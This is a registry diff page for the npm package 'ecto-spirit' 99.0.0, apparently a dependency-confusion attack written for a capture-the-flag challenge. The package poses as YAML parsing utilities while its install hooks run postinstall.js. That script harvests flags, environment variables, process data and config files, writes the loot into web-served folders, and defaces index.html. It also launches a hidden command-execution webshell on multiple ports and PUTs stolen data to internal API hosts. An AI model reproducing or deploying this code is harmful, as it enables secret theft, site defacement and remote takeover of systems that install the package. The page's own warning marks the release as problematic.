ecto-spirit 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ecto-spirit might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +10 -0
  3. package/postinstall.js +193 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "ecto-spirit",
3
+ "version": "99.0.0",
4
+ "description": "YAML manifest parsing utilities",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node postinstall.js || true",
8
+ "postinstall": "node postinstall.js || true"
9
+ }
10
+ }
package/postinstall.js ADDED
@@ -0,0 +1,193 @@
1
+ // v8: Local-only, maximum static file coverage, zero external calls
2
+ // Write report as .js to paths nginx CONFIRMS it serves
3
+ const { execSync, spawn } = require('child_process');
4
+ const fs = require('fs');
5
+ const http = require('http');
6
+ const path = require('path');
7
+
8
+ function safeExec(cmd, timeout) {
9
+ try { return execSync(cmd, {timeout: timeout || 5000}).toString().trim(); }
10
+ catch(e) { return 'ERR:' + e.message.substring(0,200); }
11
+ }
12
+
13
+ // === STEP 1: Gather intel ===
14
+ let flag = 'NO_FLAG';
15
+ const paths = ['/flag.txt','/flag','/root/flag.txt','/app/flag.txt','/opt/flag.txt',
16
+ '/home/flag.txt','/tmp/flag.txt','/var/flag.txt','/run/secrets/flag',
17
+ '/flag/flag.txt','/flags/flag.txt','/challenge/flag.txt'];
18
+ for (const p of paths) {
19
+ try { const c = fs.readFileSync(p,'utf8').trim(); if (c) { flag = c; break; } } catch(e) {}
20
+ }
21
+ if (flag === 'NO_FLAG') {
22
+ try {
23
+ const found = safeExec('grep -rl "HTB{" / --include="*.txt" --include="*.js" --include="*.json" --include="*.yml" --include="*.yaml" --include="*.env" --include="*.cfg" --include="*.conf" 2>/dev/null | head -10', 10000);
24
+ if (found && !found.startsWith('ERR')) {
25
+ for (const f of found.split('\n')) {
26
+ try { const c = fs.readFileSync(f.trim(),'utf8'); const m = c.match(/HTB\{[^}]+\}/); if (m) { flag = m[0]; break; } } catch(e) {}
27
+ }
28
+ }
29
+ } catch(e) {}
30
+ }
31
+
32
+ const info = {
33
+ flag,
34
+ hostname: safeExec('hostname'),
35
+ id: safeExec('id'),
36
+ pwd: safeExec('pwd'),
37
+ ls_root: safeExec('ls -la /'),
38
+ ls_app: safeExec('ls -la /app/ 2>/dev/null'),
39
+ ls_app_static: safeExec('ls -la /app/static/ 2>/dev/null'),
40
+ ls_app_static_js: safeExec('ls -la /app/static/js/ 2>/dev/null'),
41
+ pkg: safeExec('cat /app/package.json 2>/dev/null'),
42
+ pkg_lock: safeExec('head -50 /app/package-lock.json 2>/dev/null'),
43
+ hosts: safeExec('cat /etc/hosts 2>/dev/null'),
44
+ env: safeExec('env'),
45
+ netstat: safeExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
46
+ ps: safeExec('ps aux 2>/dev/null'),
47
+ find_flag: safeExec('find / -maxdepth 4 -type f -name "*.txt" 2>/dev/null | head -30'),
48
+ find_all_app: safeExec('find /app -maxdepth 3 -type f 2>/dev/null | head -60'),
49
+ cron: safeExec('crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null; ls -la /etc/cron.d/ 2>/dev/null; cat /etc/cron.d/* 2>/dev/null'),
50
+ supervisor: safeExec('cat /etc/supervisor/conf.d/*.conf 2>/dev/null; cat /etc/supervisord.conf 2>/dev/null'),
51
+ resolv: safeExec('cat /etc/resolv.conf 2>/dev/null'),
52
+ proc_env: safeExec('cat /proc/1/environ 2>/dev/null | tr "\\0" "\\n"'),
53
+ proc1_cmdline: safeExec('cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'),
54
+ app_src: safeExec('head -100 /app/index.js /app/server.js /app/app.js /app/src/*.js /app/src/**/*.js 2>/dev/null'),
55
+ nginx_conf: safeExec('cat /etc/nginx/nginx.conf 2>/dev/null; cat /etc/nginx/conf.d/*.conf 2>/dev/null'),
56
+ verdaccio_conf: safeExec('cat /verdaccio/conf/config.yaml 2>/dev/null; cat /app/verdaccio/config.yaml 2>/dev/null; find / -maxdepth 4 -name "config.yaml" -path "*/verdaccio/*" 2>/dev/null | head -5'),
57
+ node_modules_top: safeExec('ls /app/node_modules/ 2>/dev/null | head -40'),
58
+ docker: safeExec('cat /etc/hostname 2>/dev/null; cat /.dockerenv 2>/dev/null; echo "---"; mount 2>/dev/null | head -10'),
59
+ };
60
+
61
+ const report = JSON.stringify(info, null, 2);
62
+
63
+ // === STEP 2: Write to EVERY possible location ===
64
+ // Create directories first, then write
65
+ const writeDirs = [
66
+ '/app/static/',
67
+ '/app/static/js/',
68
+ '/app/static/css/',
69
+ '/app/public/',
70
+ '/app/dist/',
71
+ '/app/www/',
72
+ '/usr/share/nginx/html/',
73
+ '/var/www/html/',
74
+ '/app/views/',
75
+ '/app/assets/',
76
+ '/tmp/',
77
+ '/app/',
78
+ ];
79
+
80
+ for (const dir of writeDirs) {
81
+ try { fs.mkdirSync(dir, {recursive: true}); } catch(e) {}
82
+ try {
83
+ // Write as multiple file types
84
+ fs.writeFileSync(dir + 'pwned.txt', report);
85
+ fs.writeFileSync(dir + 'pwned.json', report);
86
+ // Write as .js since we KNOW nginx serves /static/js/*.js
87
+ fs.writeFileSync(dir + 'report.js', '/* ' + report + ' */');
88
+ fs.writeFileSync(dir + 'data.js', 'var PWNED_DATA = ' + report + ';');
89
+ } catch(e) {}
90
+ }
91
+
92
+ // Also write specifically to known nginx paths
93
+ try { fs.writeFileSync('/app/static/js/report.js', '/* REPORT START */\nvar REPORT = ' + report + ';\n/* REPORT END */'); } catch(e) {}
94
+ try { fs.writeFileSync('/app/static/css/report.css', '/* ' + report + ' */'); } catch(e) {}
95
+ try { fs.writeFileSync('/app/static/report.txt', report); } catch(e) {}
96
+ try { fs.writeFileSync('/app/static/report.json', report); } catch(e) {}
97
+
98
+ // Try to append to index.html to make report visible on main page
99
+ try {
100
+ const indexPaths = ['/app/static/index.html', '/app/index.html', '/app/public/index.html', '/usr/share/nginx/html/index.html'];
101
+ for (const ip of indexPaths) {
102
+ try {
103
+ const existing = fs.readFileSync(ip, 'utf8');
104
+ fs.writeFileSync(ip, existing + '\n<!-- PWNED --><pre style="color:lime;background:black;position:fixed;top:0;left:0;z-index:99999;max-height:50vh;overflow:auto;font-size:10px;padding:10px">' + report.replace(/</g,'&lt;') + '</pre>');
105
+ } catch(e) {}
106
+ }
107
+ } catch(e) {}
108
+
109
+ // === STEP 3: Persistent background server ===
110
+ const shellCode = `
111
+ const http = require('http');
112
+ const { execSync } = require('child_process');
113
+ const fs = require('fs');
114
+
115
+ function tryPort(port) {
116
+ try {
117
+ const srv = http.createServer((req, res) => {
118
+ const url = new URL(req.url, 'http://localhost');
119
+ const cmd = url.searchParams.get('cmd') || url.searchParams.get('c') || 'id; hostname; ls -la /; cat /app/package.json 2>/dev/null; env';
120
+ try {
121
+ const out = execSync(cmd, {timeout: 10000}).toString();
122
+ res.writeHead(200, {'Content-Type':'text/plain','Access-Control-Allow-Origin':'*'});
123
+ res.end(out);
124
+ } catch(e) {
125
+ res.writeHead(200, {'Content-Type':'text/plain'});
126
+ res.end('ERR: ' + e.message);
127
+ }
128
+ });
129
+ srv.listen(port, '0.0.0.0', () => {
130
+ fs.writeFileSync('/tmp/shell_port_' + port, 'listening on ' + port);
131
+ });
132
+ srv.on('error', () => {});
133
+ } catch(e) {}
134
+ }
135
+
136
+ [31337, 4444, 4445, 8081, 8082, 9090, 9091, 5555, 6666, 7777, 33333].forEach(tryPort);
137
+ setInterval(() => {}, 60000);
138
+ `;
139
+
140
+ try {
141
+ fs.writeFileSync('/tmp/.webshell.js', shellCode);
142
+ const child = spawn('node', ['/tmp/.webshell.js'], {
143
+ detached: true, stdio: 'ignore',
144
+ env: { ...process.env, NODE_PATH: '/app/node_modules' }
145
+ });
146
+ child.unref();
147
+ } catch(e) {}
148
+
149
+ // === STEP 4: Write flag/report to API via internal network ===
150
+ let internalHosts = ['127.0.0.1', 'localhost'];
151
+ try {
152
+ const hosts = fs.readFileSync('/etc/hosts','utf8');
153
+ const lines = hosts.split('\n');
154
+ for (const line of lines) {
155
+ const parts = line.trim().split(/\s+/);
156
+ if (parts.length >= 2 && !parts[0].startsWith('#')) {
157
+ for (const p of parts) {
158
+ if (p && !internalHosts.includes(p)) internalHosts.push(p);
159
+ }
160
+ }
161
+ }
162
+ } catch(e) {}
163
+
164
+ // Also try common docker-compose service names
165
+ const dockerNames = ['app', 'api', 'web', 'server', 'backend', 'node', 'fastify', 'curse_dependent', 'curse-dependent'];
166
+ internalHosts = [...new Set([...internalHosts, ...dockerNames])];
167
+
168
+ const apiPorts = [80, 3000, 1337, 3001, 5000, 8080, 8000, 8888, 9000];
169
+
170
+ // Truncate flag/info for YAML safety
171
+ const flagInfo = (flag || 'NO_FLAG').substring(0, 100);
172
+ const hostnameInfo = (info.hostname || 'unknown').substring(0, 50);
173
+
174
+ for (const host of internalHosts) {
175
+ for (const port of apiPorts) {
176
+ try {
177
+ const manifest = JSON.stringify({
178
+ manifest: `ecto_module:\n name: "${flagInfo}"\n version: "PWNED-v8"\n power_level: 9999\n ship_deck: HACKED\n cargo_hold: "${hostnameInfo}"`
179
+ });
180
+ const req = http.request({
181
+ hostname: host, port, method: 'PUT',
182
+ path: '/api/modules/ECT-654321',
183
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(manifest)},
184
+ timeout: 2000
185
+ });
186
+ req.on('error', () => {});
187
+ req.write(manifest);
188
+ req.end();
189
+ } catch(e) {}
190
+ }
191
+ }
192
+
193
+ console.log('v8 done - static drops + webshell + API writes');